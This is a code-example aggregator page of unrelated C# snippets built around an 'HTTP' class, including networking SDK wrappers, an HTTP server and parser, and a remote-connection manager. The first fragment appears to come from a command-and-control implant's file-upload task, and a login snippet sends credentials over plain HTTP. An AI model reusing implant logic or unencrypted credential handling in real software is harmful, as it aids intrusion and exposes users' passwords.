                        implant.SendComplete(task.id);
                        Debug.WriteLine("[+] Upload - File written: " + filepath);
                    }
                    catch (Exception e) // Catch exceptions from file write
                    {
                        // Something failed, so we need to tell the server about it
                        implant.SendError(task.id, e.Message);
                        Debug.WriteLine("[!] Upload - ERROR: " + e.Message);
                    }
                }
                catch (Exception e) // Catch exceptions from HTTP request
                {
                    // Something failed, so we need to tell the server about it
                    implant.SendError(task.id, e.Message);
                    Debug.WriteLine("[!] Upload - ERROR: " + e.Message);
                }
            }
        }
예제 #35
0
        public static async Task <JObject> GetDataFromAPI(string url, string instance, CancellationToken cancellationToken)
        {
            JObject json    = null;
            var     headers = new Dictionary <string, string>
            {
                { "Instance", instance },
            };

            var http = await HTTP.Request(url, cancellationToken, headers).ConfigureAwait(false);

            if (http.IsOK)
            {
                json = JObject.Parse(http.Content);
            }

            return(json);
        }
	private static void CheckForUpdates()
	{
		HTTP http = new HTTP("http://developers.forgepowered.com/Model/Info");
		http.Get((obj) =>
		{
			SimpleJSON.JSONNode data = SimpleJSON.JSONNode.Parse((string)obj);
			if (data["version"] == null)
			{
				Debug.LogWarning("Could not connect to server to check version");
				return;
			}

			if (CURRENT_VERSION < data["version"].AsFloat)
				Debug.Log("WOOT! There is a new version available! :D\nGo to http://developers.forgepowered.com/Profile to download now!");
			else
				Debug.Log("You already have the latest version of Forge Networking");
		});
	}
예제 #37
0
파일: Client.cs 프로젝트: shz/pointy
        public Client(Socket socket, Stream stream, HTTP.Protocol protocol, IRouter router, Action<Action> scheduler)
        {
            _UnderlyingSocket = socket;
            ClientStream = stream;
            Parser = new HTTP.Parser();
            Buffer = new byte[BUFFER_SIZE];
            Offset = 0;
            Protocol = protocol;
            Router = router;
            Scheduler = scheduler;

            Parser.OnRequestLine += RequestLine;
            Parser.OnHeader += Header;
            Parser.OnEndHeaders += EndHeaders;
            Parser.OnBody += Body;
            Parser.OnEnd += EndRequest;
            Parser.OnParseError += ParseError;
        }
예제 #38
0
파일: Client.cs 프로젝트: shz/pointy
        public void RequestLine(string method, string path, HTTP.Version version)
        {
            // If another request starts before we're ready for a new one, then
            // the client is attempting to pipeline.  This is a bad idea, so we
            // punish them by blowing up.
            if (!Ready)
            {
                Kill();
                return;
            }
            Ready = false;

            Method = method;
            Path = path;
            Version = version;
            Headers = new Dictionary<string, string>();
        }
예제 #39
0
 public Cache(HTTP.HTMLParser myHTTP, HTTP.HTMLParser myReroutingHTTP, DateTime LiveTime)
 {
     this.myHTTP = myHTTP;
     this.myReroutingHTTP = myReroutingHTTP;
     this.LiveTime = LiveTime;
 }
예제 #40
0
 private static void OnUpdateAppInfo(HTTP.Request request)
 {
     Debug.Log("Updated app info, result = " + request.response.Text);
 }
예제 #41
0
 public RouteAttribute(HTTP http, string path)
     : this(http, path, true)
 {
 }
 public void Api(string query, HTTP.Method method, Dictionary<string, string> args, OKRequestCallback callback, bool useSession = true)
 {
     Api(query, method, httpFormat, args, callback, useSession);
 }
예제 #43
0
        public override void Process(HTTP.HttpServer server, HTTP.HttpPack pack, Socket client)
        {
            if (pack.Path == "/resource")
                sendResource(pack, client);
            var encoding = Encoding.UTF8;
            if (pack.Path == "/error")
            {
                int errorCode = 400;
                int.TryParse(pack.Request, out errorCode);
                if (errorCode != 404)
                    client.Send(encoding.GetBytes(new HTTP.ErrorPage((HTTP.ResponseCode)errorCode, ((HTTP.ResponseCode)errorCode).ToString().Replace('_', ' ')).ToString()));
            }
            if (pack.Path != "/" && pack.Path != "")
                client.Send(encoding.GetBytes(new HTTP.ErrorPage(HTTP.ResponseCode.NOT_FOUND, "Oops!").ToString()));
            int visitCount = 0;
            var t = pack.Cookies["visitcount"];
            if (t != null)
                int.TryParse(t.Value, out visitCount);
            visitCount++;
            var page = new HtmlPage()
            { 
                new HtmlElement("div", "content")
                {
                    new HtmlElement("div", "toptext") { new Text("if you see it, then") },
                    new HtmlElement("div", "title") { new Text("NiL.WBE") },
                    new HtmlElement("div", "bottomtext") { new Text("working") },
                    new Text("you was here " + visitCount + " times")
                }
            };
            page.Head.Add(new HtmlElement("style")
            {
                new Text(
@"
    html {
        height: 100%;
    }
    * {
        text-align: center;
        font-family: Lobster;
    }
    body {
        height: 100%;
    }
    #content {
        position: relative;
        top: 25%;
    }
    #title {
        font-size: 80px
    }
    @font-face {
        font-family: 'Lobster';
        font-style: normal;
        font-weight: 400;
        src: local('Lobster'), url(http://themes.googleusercontent.com/static/fonts/lobster/v5/9eID_a1kLfzp_BP9s4L15g.woff) format('woff');
    }
")
            });
            page.Head.Add(new HtmlElement("title") { new Text("NiL.WBE") });
            var res = new HTTP.HttpPack(page.ToString());
            res.ContentType = page.ContentType;
            res.Cookies.Add(new System.Net.Cookie("visitcount", visitCount.ToString()));
            client.Send(encoding.GetBytes(res.ToString(HTTP.ResponseCode.OK)));
            var connection = pack.Fields["connection"];
            if (string.Compare("keep-alive", connection, StringComparison.OrdinalIgnoreCase) == 0
                || (string.IsNullOrWhiteSpace(connection) && pack.Version == "HTTP/1.1"))
                return;
            client.Close();
        }
예제 #44
0
            private static void OpenConnectionFinal(Connection.Info newConnectionInfo, Connection.Info.Force Force,
                                                    Form ConForm)
            {
                try
                {
                    if (newConnectionInfo.Hostname == "" &&
                        newConnectionInfo.Protocol != Protocols.IntApp)
                    {
                        MessageCollector.AddMessage(MessageClass.WarningMsg,
                                                    Language.strConnectionOpenFailedNoHostname);
                        return;
                    }

                    if (newConnectionInfo.PreExtApp != "")
                    {
                        ExternalTool extA = GetExtAppByName(newConnectionInfo.PreExtApp);
                        if (extA != null)
                        {
                            extA.Start(newConnectionInfo);
                        }
                    }

                    //TODO
                    if (!(((Force & Info.Force.DoNotJump) == Info.Force.DoNotJump) || !SwitchToOpenConnection(newConnectionInfo)))
                    {
                        return;
                    }
                    Base newProtocol;
                        // Create connection based on protocol type
                        switch (newConnectionInfo.Protocol)
                        {
                            case Protocols.RDP:
                                newProtocol = new RDP();
                                break;
                            case Protocols.VNC:
                                newProtocol = new VNC();
                                break;
                            case Protocols.SSH1:
                                newProtocol = new SSH1();
                                break;
                            case Protocols.SSH2:
                                newProtocol = new SSH2();
                                break;
                            case Protocols.Telnet:
                                newProtocol = new Telnet();
                                break;
                            case Protocols.Rlogin:
                                newProtocol = new Rlogin();
                                break;
                            case Protocols.Serial:
                                newProtocol = new Serial();
                                break;
                            case Protocols.RAW:
                                newProtocol = new RAW();
                                break;
                            case Protocols.HTTP:
                                newProtocol = new HTTP(newConnectionInfo.RenderingEngine);
                                break;
                            case Protocols.HTTPS:
                                newProtocol = new HTTPS(newConnectionInfo.RenderingEngine);
                                break;
                            case Protocols.TeamViewer:
                                newProtocol = new TeamViewer();
                                break;
                            case Protocols.RAdmin:
                                newProtocol = new RAdmin();
                                break;
                            case Protocols.ICA:
                                newProtocol = new ICA();
                                break;
                            case Protocols.IntApp:
                                newProtocol = new IntApp();
                                if (newConnectionInfo.ExtApp == "")
                                {
                                    throw (new Exception(Language.strNoExtAppDefined));
                                }
                                break;
                            default:
                                return;
                        }

                    string cPnl;
                    if (((newConnectionInfo.Panel == "") | ((Force & Connection.Info.Force.OverridePanel) == Connection.Info.Force.OverridePanel)) | Settings.Default.AlwaysShowPanelSelectionDlg)
                    {
                        var frmPnl = new frmChoosePanel();
                        if (frmPnl.ShowDialog() == DialogResult.OK)
                        {
                            cPnl = frmPnl.Panel;
                        }
                        else
                        {
                            return;
                        }
                    }
                    else
                    {
                        cPnl = newConnectionInfo.Panel;
                    }

                    Form cForm = ConForm ?? WindowList.FromString(cPnl);
                    
                    if (cForm == null)
                    {
                        cForm = AddPanel(cPnl);
                        cForm.Focus();
                    }
                    else
                    {
                        (cForm as UI.Window.Connection).Show(frmMain.Default.pnlDock);
                        (cForm as UI.Window.Connection).Focus();
                    }

                    Control cContainer = (cForm as UI.Window.Connection).AddConnectionTab(newConnectionInfo);

                    if (newConnectionInfo.Protocol == Protocols.IntApp)
                    {
                        if (GetExtAppByName(newConnectionInfo.ExtApp).Icon != null)
                        {
                            (cContainer as TabPage).Icon =
                                GetExtAppByName(newConnectionInfo.ExtApp).Icon;
                        }
                    }

                    newProtocol.Closed +=  (cForm as UI.Window.Connection).Prot_Event_Closed;
                    newProtocol.Connected += (cForm as UI.Window.Connection).Prot_Event_Connected;
                    newProtocol.Disconnected += Prot_Event_Disconnected;
                    newProtocol.Connected += Prot_Event_Connected;
                    newProtocol.Closed += Prot_Event_Closed;
                    newProtocol.ErrorOccured += Prot_Event_ErrorOccured;
                    (cForm as UI.Window.Connection).ResizeBegin += newProtocol.ResizeBegin;
                    (cForm as UI.Window.Connection).ResizeEnd += newProtocol.ResizeEnd;
                    (cForm as UI.Window.Connection).Resize += newProtocol.Resize;

                    newProtocol.InterfaceControl = new InterfaceControl(cContainer, newProtocol, newConnectionInfo);

                    newProtocol.Force = Force;

                    if (newProtocol.SetProps() == false)
                    {
                        newProtocol.Close();
                        return;
                    }

                    if (newProtocol.Connect() == false)
                    {
                        newProtocol.Close();
                        if (newProtocol is PuttyBase&&!ProblemFixer.IsPuTTYOk())
                        {
                            ProblemFixer.FixPuTTYProblem();
                        }
                        if (newProtocol is TeamViewer && !ProblemFixer.IsTeamViewerOk())
                        {
                            ProblemFixer.FixTVProblem();
                        }
                        if (newProtocol is RAdmin && !ProblemFixer.IsRAdminOk())
                        {
                            ProblemFixer.FixRAdminProblem();
                        }
                        return;
                    }

                    newConnectionInfo.OpenConnections.Add(newProtocol);

                    if (newConnectionInfo.IsQuicky == false)
                    {
                        if (newConnectionInfo.Protocol != Protocols.IntApp)
                        {
                            Node.SetNodeImage(newConnectionInfo.TreeNode, Enums.TreeImage.ConnectionOpen);
                        }
                        else
                        {
                            ExternalTool extApp = GetExtAppByName((string)newConnectionInfo.ExtApp);
                            if (extApp != null)
                            {
                                if (extApp.TryIntegrate)
                                {
                                    if (newConnectionInfo.TreeNode != null)
                                    {
                                        Node.SetNodeImage(newConnectionInfo.TreeNode,
                                                          Enums.TreeImage.ConnectionOpen);
                                    }
                                }
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    MessageCollector.AddMessage(MessageClass.ErrorMsg,
                                                Language.strConnectionOpenFailed + Constants.vbNewLine +
                                                ex.Message);
                }
            }
		public ForgeEditorDisplayObject(string info, DisplayType type, GUIStyle bold, GUIStyle regular)
		{
			DisplayInfoType = type;
			boldWhite = bold;
			regularWhite = regular;

			switch (DisplayInfoType)
			{
				case DisplayType.Header:
					DisplayInfo = info.Replace("<h1>", string.Empty).Replace("</h1>", string.Empty);
					break;
				case DisplayType.Paragraph:
					DisplayInfo = info.Replace("<p>", string.Empty).Replace("</p>", string.Empty);
					break;
				case DisplayType.Video:
					string videoTitle = info.Remove(0, "<video title=\"".Length);
					videoTitle = videoTitle.Remove(videoTitle.IndexOf("\">"), videoTitle.Length - videoTitle.IndexOf("\">"));
					string videoID = info.Remove(0, info.IndexOf("\">") + "\">".Length);
					videoID = videoID.Remove(videoID.IndexOf("</video>"), videoID.Length - videoID.IndexOf("</video>"));
					DisplayInfo = videoTitle;
					imageID = videoID;
					imageUrl = YOUTUBE_URL.Replace("<id>", videoID);
					HTTP imageRequest = new HTTP(YOUTUBE_THUMBNAIL_ENDPOINT.Replace("<id>", imageID));
					imageRequest.GetImage(RetreiveImageResponse);
					break;
				case DisplayType.AssetImage:
					string assetImage = info.Remove(0, "<asset image=\"".Length);
					assetImage = assetImage.Remove(assetImage.IndexOf("\">"), assetImage.Length - assetImage.IndexOf("\">"));
					string assetURL = info.Remove(0, info.IndexOf("\">") + "\">".Length);
					assetURL = assetURL.Remove(assetURL.IndexOf("</asset>"), assetURL.Length - assetURL.IndexOf("</asset>"));
					imageUrl = assetURL;
					//Debug.Log("Attempting to load: " + assetImage);
					HTTP assetRequest = new HTTP(assetImage);
					assetRequest.GetImage(RetreiveImageAssetResponse);
					break;
			}
		}
	public void Initialize()
	{
#if UNITY_5_1
		titleContent.text = "Forge Editor";
#else
		title = "Forge Editor";
#endif

		minSize = new Vector2(400, 400);
		ForgeIcon = Resources.Load<Texture2D>("BMSLogo");
		ScrollPos = Vector2.zero;
		
		regularWhite.fontSize = 14;
		regularWhite.wordWrap = true;

		if (UnityEditorInternal.InternalEditorUtility.HasPro())
		{
			regularWhite.normal.textColor = Color.white;
			boldWhite.normal.textColor = Color.white;
		}

		boldWhite.fontSize = 14;
		boldWhite.wordWrap = true;
		boldWhite.fontStyle = FontStyle.Bold;
		News.Add(new ForgeEditorDisplayObject("Loading news...", ForgeEditorDisplayObject.DisplayType.Paragraph, boldWhite, regularWhite));
		Videos.Add(new ForgeEditorDisplayObject("Loading videos...", ForgeEditorDisplayObject.DisplayType.Paragraph, boldWhite, regularWhite));
		//Videos.Add(new ForgeEditorDisplayObject("Under Construction!", ForgeEditorDisplayObject.DisplayType.Header, boldWhite, regularWhite));		
		//Store.Add(new ForgeEditorDisplayObject("Loading store...", ForgeEditorDisplayObject.DisplayType.Paragraph, boldWhite, regularWhite));
		Documentation.Add(new ForgeEditorDisplayObject("Coming soon!", ForgeEditorDisplayObject.DisplayType.Header, boldWhite, regularWhite));
		//About.Add(new ForgeEditorDisplayObject("Bearded Man Studios, Inc.", ForgeEditorDisplayObject.DisplayType.Header, boldWhite, regularWhite));
		//About.Add(new ForgeEditorDisplayObject("Brent Farris, Brett Faulds", ForgeEditorDisplayObject.DisplayType.Paragraph, boldWhite, regularWhite));
		HTTP newsHttp = new HTTP(NEWS_ENDPOINT);
		newsHttp.Get(LayoutNews);
		HTTP videosHttp = new HTTP(VIDEOS_ENDPOINT);
		videosHttp.Get(LayoutVideos);
		//HTTP storeHttp = new HTTP(STORE_ENDPOINT);
		//storeHttp.Get(LayoutStore);
	}
 void UserLogin(SmartObject obj, ulong sender)
 {
     string username = obj.GetString("username");
     string password = obj.GetString("password");
     HTTP http = new HTTP("http://www.turnofwar.com/game/userlogin.php");
     http.Get((responses) => {
         Debug_Console.i.add((string) responses);
         SmartObject response_obj = new SmartObject();
         response_obj.AddString("type", "Login");
         response_obj.AddString("response", (string) responses);
         response_obj.AddInt("sender", (int) Networking.PrimarySocket.Me.NetworkId);
         Networking.WriteCustom(EventHelper.GetEventId("ServerResponse"), socket, EasySerialization.EasySerialize(response_obj), GetNetPlayer(sender), true);
         if((string) responses == "1") {
             //if the server responds as wrong login
             server_model.Verifyuser((ulong) obj.GetInt("sender"));
         }
     }, new string[2] { "username="******"password=" + password });
 }
예제 #48
0
 private string GetStatusString(HTTP.Status status)
 {
     switch (status)
     {
         case HTTP.Status.OK:
             return "200 OK";
         case HTTP.Status.NotAuthorized:
             return "401 Not Authorized";
         case HTTP.Status.NotFound:
             return "404 Not Found";
         case HTTP.Status.InternalServerError:
             return "500 Internal Server Error";
         default:
             throw new Exception("Invalid HTTP response.");
     }
 }
예제 #49
0
 public Handler Resolve(HTTP.Request request)
 {
     return TheHandler;
 }
예제 #50
0
 /// <summary>
 /// Perform HTTP operation to SECURE API
 /// </summary>
 /// <param name="mediaType">MediaType, enum describing the possible mediatypes</param>
 /// <param name="httpOP">HTTP, enum describing the possible HTTP operations</param>
 /// <param name="tsItem">ToolStripMenuItem, the menu item that was clicked</param>
 private async void PerformHTTP_Async(string mediaType, HTTP httpOP, ToolStripMenuItem tsItem)
 {
     try
     {
         // clear text boxes
         this.txtSubmitHTTP.Text = string.Empty;
         this.txtReceivedHTTP.Text = string.Empty;
         HttpContent content = null;
         string requestString = string.Empty;
         // get String array of API
         string[] apiName = this.GetAPINameFromToolStripMenuItem(tsItem);
         // get Parameters for selected API
         string[] parameters = this.GetParameterListFromToolStripMenuItem(tsItem);
         ArrayList nonUserParameters = new ArrayList();
         ArrayList userParameters = new ArrayList();
         ArrayList contentParameters = new ArrayList();
         // separate parameters into parameters that require user input
         //  and parameters that can be set from known data
         for (int i = 0; i < parameters.Length; i++)
         {
             if (TestController.TextInputParameters.Contains(parameters[i]))
             {
                 userParameters.Add(parameters[i]);
             }
             else if (TestController.ContentParameters.Contains(parameters[i]))
             {
                 contentParameters.Add(parameters[i]);
             }
             else
             {
                 throw new Exception("Unknown API parameter");
             }
         }
         DictionaryEntry[] apiParameters = new DictionaryEntry[userParameters.Count + nonUserParameters.Count];
         if (userParameters.Count > 0 || contentParameters.Count > 0)
         {
             // Display form for input of parameters
             string[] allInputParameters = null;
             if (userParameters.Count > 0 && contentParameters.Count > 0)
             {
                 allInputParameters = new string[userParameters.Count + contentParameters.Count];
                 ((string[])userParameters.ToArray(typeof(string))).CopyTo(allInputParameters, 0);
                 ((string[])contentParameters.ToArray(typeof(string))).CopyTo(allInputParameters, userParameters.Count);
             }
             else if (userParameters.Count == 0 && contentParameters.Count != 0)
             {
                 allInputParameters = ((string[])contentParameters.ToArray(typeof(string)));
             }
             else if (userParameters.Count != 0 && contentParameters.Count == 0)
             {
                 allInputParameters = ((string[])userParameters.ToArray(typeof(string)));
             }
             InputForm inputForm = new InputForm(allInputParameters);
             DialogResult DR = inputForm.ShowDialog(this);
             if (DR == System.Windows.Forms.DialogResult.OK)
             {
                 DictionaryEntry[] userInputParameters = inputForm.Parameters;
                 ArrayList contentInputParameters = new ArrayList();
                 for (int i = 0; i < parameters.Length; i++)
                 {
                     if (userParameters.Contains(parameters[i]))
                     {
                         foreach (DictionaryEntry dEntry in userInputParameters)
                         {
                             if (dEntry.Key.ToString() == parameters[i])
                             {
                                 apiParameters[i] = dEntry;
                             }
                         }
                     }
                     else if (contentParameters.Contains(parameters[i]))
                     {
                         foreach (DictionaryEntry dEntry in userInputParameters)
                         {
                             if (dEntry.Key.ToString() == parameters[i])
                             {
                                 contentInputParameters.Add(dEntry);
                             }
                         }
                     }
                 }
                 if (contentInputParameters.Count == 1)
                 {
                     requestString = ((DictionaryEntry)contentInputParameters[0]).Value.ToString();
                     content = new StringContent(
                         requestString, 
                         Encoding.UTF8, 
                         mediaType);
                 }
                 else if (contentInputParameters.Count > 1)
                 {
                     // This should not happen! No current API's take more than one XML parameter
                     throw new Exception("Multiple XML Parameters!");
                 }
             }
             else
             {
                 // User hit cancel in InputForm
                 return;
             }
         }
         //=======================================================================================================================================
         // display loadingbar form
         this.LoadingBarShow("Connecting to SECURE");
         // perform HTTP OP
         string responseText = await this._testController.SECURE_API_Async(mediaType, httpOP, apiName, apiParameters, content);
         // display HTTP Response
         this.txtReceivedHTTP.Text = TestController.FormatXML(responseText);
                    
         // special operations
         switch (tsItem.Name)
         {
             case "logoutToolStripMenuItem":
                 {
                     this._testController.Session = null;
                     //this._testController.SessionTokenID = string.Empty;
                     this.SessionTokenLabel.Text = "NOT LOGGED IN";
                     this.EnableMenus(false);
                     //this.tabMain.SelectedTab = tpLogin;
                     //this.menuStripMain.Enabled = false;
                     break;
                 }
         }
         // refresh StatusStrip
         this.statusStrip1.Refresh();
         this.urlLabel.Text = string.Format("HTTP {0} | URL: {1}", this._testController.Last_HTTPstatus, this._testController.Last_URL);
         // display sent HTTP request
         string formattedRequestString = TestController.FormatXML(requestString);
         this.txtSubmitHTTP.Text = string.Format(content == null ? "{0}{1}" : "{0}\r\n\nContent:\r\n{1}",
                         this._testController.Last_HTTPResponse.RequestMessage.ToString(),
                         formattedRequestString);
         this.statusStrip2.Refresh();
     }
     catch (Exception ex)
     {
         MessageBox.Show(this, ex.Message, "Exception", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
     finally
     {
         // Stop displaying loading bar form
         this.LoadingBarHide();
     }
 }
예제 #51
0
 public abstract void Process(HTTP.HttpServer server, HttpPack pack, Socket client);
예제 #52
0
파일: Client.cs 프로젝트: shz/pointy
        public async void ParseError(HTTP.Parser.Error error, string extra)
        {
            // We don't survive HTTP errors on the socket, so we can effectively
            // stop listening.  The data coming in is just sent to a black hole,
            // but at least we can save some processing this way.
            Autoread = false;

            // If we have a request we're working with, it means parse errors are going
            // to come from the body.  This is theoretically possible to handle cleanly
            // if the response hasn't started yet, but to make our lives easier we're
            // just going to kill it uncleanly.
            if (Request != null)
            {
                Kill();
                return;
            }

            // Otherwise, we can safely create a response for this socket without
            // ruining everything.  We can even use async; we'll be the only one
            // using this socket until we kill it.  So even though we don't have
            // a SynchronizationContext set in the ThreadPool (or do we?), we
            // don't care because the async functionality will effectively serialize
            // the actions for us as we write out the response.
            int code = 0;
            string reason = null;
            switch (error)
            {
                case HTTP.Parser.Error.HeaderFieldsTooLarge:
                    code = 431;
                    reason = "Request Header Fields Too Large";
                    break;
                case HTTP.Parser.Error.UriTooLong:
                    code = 414;
                    reason = "Request-URI Too Long";
                    break;
                case HTTP.Parser.Error.BadRequest:
                default:
                    code = 400;
                    reason = "Bad Request";
                    break;
            }
            await WriteError(code, reason);

            // And when we end the response, it's time to die
            Kill();
        }
예제 #53
0
파일: Parser.cs 프로젝트: shz/pointy
 void EmitRequestLine(string method, string path, HTTP.Version version)
 {
     var e = OnRequestLine;
     if (e != null) e(method, path, version);
 }
예제 #54
0
파일: Multipart.cs 프로젝트: shz/pointy
 // Inheritence is done here via composition rather than the normal approach.  We
 // have an internal vanilla Multipart parser and simply intercept its events and
 // delegate method calls down to it, adding the extra form-data functionality
 // over top.
 static Multipart Decode(HTTP.Request request)
 {
     throw new NotImplementedException();
 }
예제 #55
0
파일: Base.cs 프로젝트: shurizzle/FAGGUI
 public Base()
 {
     _http = new HTTP();
 }
예제 #56
0
        /// <summary>
        /// Sends the request and sets the parsed response
        /// </summary>
        /// <returns>The HashTable response.</returns>
        /// <param name="rq">HTTP.Request rq.</param>
        /// <param name="callback">Method to call on complete</param>
        /// <param name="errorCallback">Method to call on error</param>
        private void GetResponse(HTTP.Request rq, Complete callback, Error errorCallback)
        {
            ResponseHeaders = new List<string> ();

            try {
                rq.Send ((request) => {
                    if (this.DebugOutput) {
                        Debug.Log (rq.InfoString (true));
                    }

                    if (200 != request.response.status) {
                        errorCallback (request.response.status + " Error: " + request.response.ToString ());
                        return;
                    }

                    ResponseHeaders = request.response.GetHeaders ();
                    bool success = false;
                    Hashtable rs = (Hashtable)JSON.JsonDecode (request.response.Text, ref success);

                    if (!success || rs.Count == 0) {
                        errorCallback (request.response.Text);
                        return;
                    } else {
                        callback (rs);
                    }
                });
            } catch (System.Net.Sockets.SocketException e) {
                errorCallback ("Connection error: " + e.Message);
            } catch (System.Exception e) {
                errorCallback ("General error: " + e.Message);
            }
        }
        private void Api(string query, HTTP.Method method, HTTP.Format format, Dictionary<string, string> args, OKRequestCallback callback, bool useSession = true)
        {
            args.Add(ParamApplicationKey, appKey);
            args.Add(ParamMethod, query);
            args.Add(ParamFormat, format.ToString());
            args.Add(ParamPlatform, GetPlatform().ToUpper());

            // Check if target API requires SdkToken.
            if (OKMethod.RequiresSdkToken(query))
            {
                args.Add(ParamSdkToken, unitySessionKey);
            }

            // Override useSession for some API requests that fail if called within session.
            if (!OKMethod.RequiresSession(query))
            {
                useSession = false;
            }

            string url = useSession ? GetApiUrl(args) : GetApiNoSessionUrl(args);

            new HTTP.Request(url, method, format).Send(request =>
            {
                //check for error
                Hashtable obj = request.response.Object;
                if (obj != null)
                {
                    if (obj.ContainsKey("error_code"))
                    {
                        string errorCode = obj["error_code"].ToString();
                        string errorMsg = obj["error_msg"].ToString();
                        switch (errorCode)
                        {
                            case "100":
                                if (errorMsg == "PARAM : Missed required parameter: access_token")
                                {
                                    Debug.Log("Missing access token - trying to auto refresh session");
                                    RefreshAuth(refreshed => {
                                        Debug.Log("REFRESHED: " + refreshed);
                                    });
                                }
                                break;
                            case "102":
                                Debug.Log("Session expired - trying to auto refresh session");
                                RefreshAuth(refreshed => {
                                    Debug.Log("REFRESHED: " + refreshed);
                                });
                                break;
                            case "103":
                                Debug.Log("Invalid session key - trying to auto refresh session");
                                RefreshAuth(refreshed => {
                                    Debug.Log("REFRESHED: " + refreshed);
                                });
                                break;
                            default:
                                Debug.LogWarning(query + " failed -> " + request.response.Error);
                                callback(request.response);
                                break;

                        }
                        return;
                    }
                }

                if (callback != null)
                {
                    callback(request.response);
                }
            });
        }
예제 #58
0
 private static void OnGetUploadCredentials(HTTP.Request request)
 {
     string text = request.response.Text;
     Debug.Log(text);
     bool success = false;
     Hashtable result = (Hashtable)JSON.JsonDecode(text, ref success);
     if (success)
     {
         if (result.Contains("id"))
         {
             BuildConfig.Instance.FirAppID = result["id"] as string;
         }
         if (result.ContainsKey("cert"))
         {
             Hashtable cert = result["cert"] as Hashtable;
             if (cert.ContainsKey("binary"))
             {
                 Hashtable binary = cert["binary"] as Hashtable;
                 Debug.Log(binary["key"]);
                 Debug.Log(binary["token"]);
                 Debug.Log(binary["upload_url"]);
                 UploadFileProcess(binary["upload_url"] as string,
                            binary["key"] as string,
                            binary["token"] as string,
                            _currentUploadFilePath);
             }
         }
     }
     else
     {
         Debug.LogWarning("Could not parse JSON response!");
         return;
     }
 }
예제 #59
0
파일: OWINRouter.cs 프로젝트: shz/pointy
 public Handler Resolve(HTTP.Request request)
 {
     throw new NotImplementedException("Working on it!");
 }
예제 #60
0
 public RouteAttribute(HTTP http, string path, bool isAsync)
 {
     this.Method = http.ToString();
     this.Path = path;
     this.IsAsync = isAsync;
 }